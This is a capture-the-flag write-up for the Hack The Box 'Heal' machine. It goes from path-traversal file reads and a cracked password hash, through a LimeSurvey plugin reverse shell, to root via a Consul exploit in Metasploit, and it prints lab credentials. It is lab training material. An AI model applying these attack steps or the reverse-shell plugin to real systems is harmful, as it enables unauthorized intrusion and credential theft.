"Heal" by Hack The Box - A "Medium" Linux Box Writeup

This box is a “Medium” Linux box by HackTheBox

User flag

#

First enumeration

#

mkdir scans loot shares
nmap -A 10.10.11.46 -vvv -oA scans/first_scan.txt
nmap -A 10.10.11.46 -p- -oA scans/full_scan.txt

Discovered open port 80/tcp on 10.10.11.46
Discovered open port 22/tcp on 10.10.11.46

The nmap scan also returns the vhost : http://heal.htb/ so let’s add that to our /etc/hosts

Web recon

#

Let’s try creating an account : pentester:bd1724b2f8cb07ada1f6e094d9a1b33878171f490090ae0d8826ee3c1a940309

This looks interesting we have access to a “profile” page which shows that we are not admin (which hints that we may become) :

We also have a survey button that leads us to another vhost : take-survey.heal.htb which seems to be hosting an instance of limesurvey.

• There is a form on http://heal.htb/resume that enables us to create a PDF : potential template injection or SSRF
• The survey may be read by an admin and be vulnerable to XSS

Checking the resume exporter

#

We can see that the resume builder is sending HTML to be converted to PDF :

Let’s try to see which PDF conversion engine is used in the back-end :

• Wappalyzer gives nothing on http://api.heal.htb/export and nothing that looks like a library used for PDFs on http://heal.htb
• But running exiftool does give us the software used for creating the PDF :

  

So let’s test PDF SSRFs, we can get the current file using <script> document.write(window.location) </script>

Let’s try to automate this, we see that when we get the name of a PDf file we do a call to http://api.heal.htb/download?filename=b6ba3f34ef20afd1323d.pdf. Let us try to get another local file :

Okay let’s forget the SSRF, we got an LFI.

From LFI to secret dumping

#

Great, let’s now try to get the backend tech stack (so we know what to look for) let’s try using wappalyzer on http://api.heal.htb/ :

We can get the Gemfile by accessing ../../Gemfile so we are probably in something that looks like myapp/uploads/

Looking at the OWASP’s ruby on rails cheatsheet we can try accessing ../../config/database.yml

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

Knowing this let’s try to dump the sqlite db with ../../storage/development.sqlite3 : We can then explore this db using DB browser for SQLite :

Let us then write this hash to a file and run hashcat on it :

hashcat loot/hash_ralph -m 3200 /usr/share/wordlists/rockyou.txt

I am admin

#

This password sadly is not reused for SSH (would have been fun eh) so let’s login as Ralph and see what the administrator has access to. We log in and surprise : nothing new. I tried to fuzz a bit with the new credentials (which are being passed on to the API as JWT) and nothing comes again. So let’s see if the form can be of any use now that we have access to an admin account.

When looking at the documentation we can try to login on http://take-survey.heal.htb/admin and we’re in !

We got all the info we could dream of :

RCE in Limesurvey

#

Let us now see if there are known RCE exploits in limesurvey, if not we’ll probably have to tinker with the themes or plugins.

It looks like version 6.6.4 it notorious for its RCE vulnerability

Following the details in the git repository :

git clone https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE.git
cd Limesurvey-6.6.4-RCE
vim revshell.php # Put the right IP + Port
zip -r N4s1rl1.zip config.xml revshell.php # In a real world scenario we would of course rename this to somehting less fishy

# Create a venv for this tool
uv venv --python 3.13
source .venv/bin/activate
uv pip install -r requirements.txt

I then uploaded the zip file to http://take-survey.heal.htb/index.php/admin/pluginmanager/sa/index

And ran the reverse shell trigger :

Privesc

#

Let’s search for interesting stuff. We can find that the postgressql port is open as well and that limesurvey uses postgressql with the following password :

# Content of /var/www/limesurvey/application/config/config.php
'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),

I then tried to login to the postgress instance but did not manage to do it, so I thought maybe this password could be reused somewhere else : Looking at the passwd file we can see that ralph and ron are both loggable users so let’s try them :

Great we get the first flag !

Root flag

#

We can now connect via SSH which means we’ll have a better access using SSH + the ability to forward some of the ports to access them from our attack machine :

Port enumeration

#

let’s locally check the ports before doing a port forwarding :

• port 3000 seems to be the main heal.htb website
• port 3001 returns an empty HTTP response
• port 8600 returns an empty resonse
• Port 8500 returns as follows :

  

  And if we access the redirected URL we get the following :

  

So let’s redirect the ports to our local machine so we can use our tools on it (like Burp etc) :

ssh -L 1337:localhost:8500 ron@heal.htb

This looks like an instance of consul and looking at it we can see that it runs as root :

Getting an RCE from Consul

#

A quick search show there are RCE exploits for Consul :

sudo msfconsole -q
set rhosts 127.0.0.1
set rport 1337
set lhost tun0
run

We’re in !